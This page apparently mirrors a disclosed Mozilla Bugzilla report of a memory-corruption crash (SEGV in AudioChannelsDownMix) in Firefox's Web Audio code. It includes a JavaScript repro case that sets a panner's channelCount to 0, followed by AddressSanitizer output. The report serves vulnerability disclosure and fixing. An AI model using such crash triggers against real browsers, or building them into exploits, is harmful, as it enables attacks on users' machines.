Skip to content
Memory corruption Disclosed report

SEGV on mozilla::AudioChannelsDownMix

Atte Kettunen Follow

Originally disclosed on Mozilla

  • Fixed in 39 hours
  • Paid in 26 days
  • Disclosed after 39 hours

Tested on:

OS: Ubuntu 12.04

Firefox: ASAN opt-build 24.0a1 from https://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-central-linux64-asan/1369217427/

Repro-case:

<script> var Context0= new AudioContext() var Panner0=Context0.createPanner(); var BufferSource3=Context0.createBufferSource(); Panner0.channelCount=0; BufferSource3.connect(Panner0); BufferSource3.buffer=function(){ var length=1; var Buffer=Context0.createBuffer(1,length,'44200'); var bufferData= Buffer.getChannelData(0); for (var i = 0; i < length; ++i) { bufferData[i] = 255;}; return Buffer; }(); </script>

ASAN-output:(opt-build)

================================================================= ==2893== ERROR: AddressSanitizer: SEGV on unknown address 0x7f5551b7fcdc (pc 0x7f514ce8e0a6 sp 0x7f5125511300 bp 0x7f51255113f0 T26) AddressSanitizer can not provide additional info. #0 0x7f514ce8e0a5 in mozilla::AudioChannelsDownMix(nsTArray<void const*> const&, float**, unsigned int, unsigned int) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/content/media/AudioChannelFormat.cpp:175 #1 0x7f514ce91d57 in mozilla::AudioNodeStream::ObtainInputBlock(mozilla::AudioChunk&, unsigned int) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/content/media/AudioNodeStream.cpp:347 #2 0x7f514ce92fe5 in mozilla::AudioNodeStream::ProduceOutput(long, long) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/content/media/AudioNodeStream.cpp:407 #3 0x7f514cf00c83 in mozilla::MediaStreamGraphImpl::ProduceDataForStreamsBlockByBlock(unsigned int, long, long) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/content/media/MediaStreamGraph.cpp:937 #4 0x7f514cf12e05 in mozilla::(anonymous namespace)::MediaStreamGraphThreadRunnable::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/content/media/MediaStreamGraph.cpp:1163 #5 0x7f514f5a4212 in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/obj-firefox/xpcom/build/nsThreadUtils.cpp:238 . . .

The original report as published on Mozilla's Bugzilla, by Atte Kettunen. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in Web Audio. Mozilla made it public on 24 May 2013.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Atte Kettunen

View all

62 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.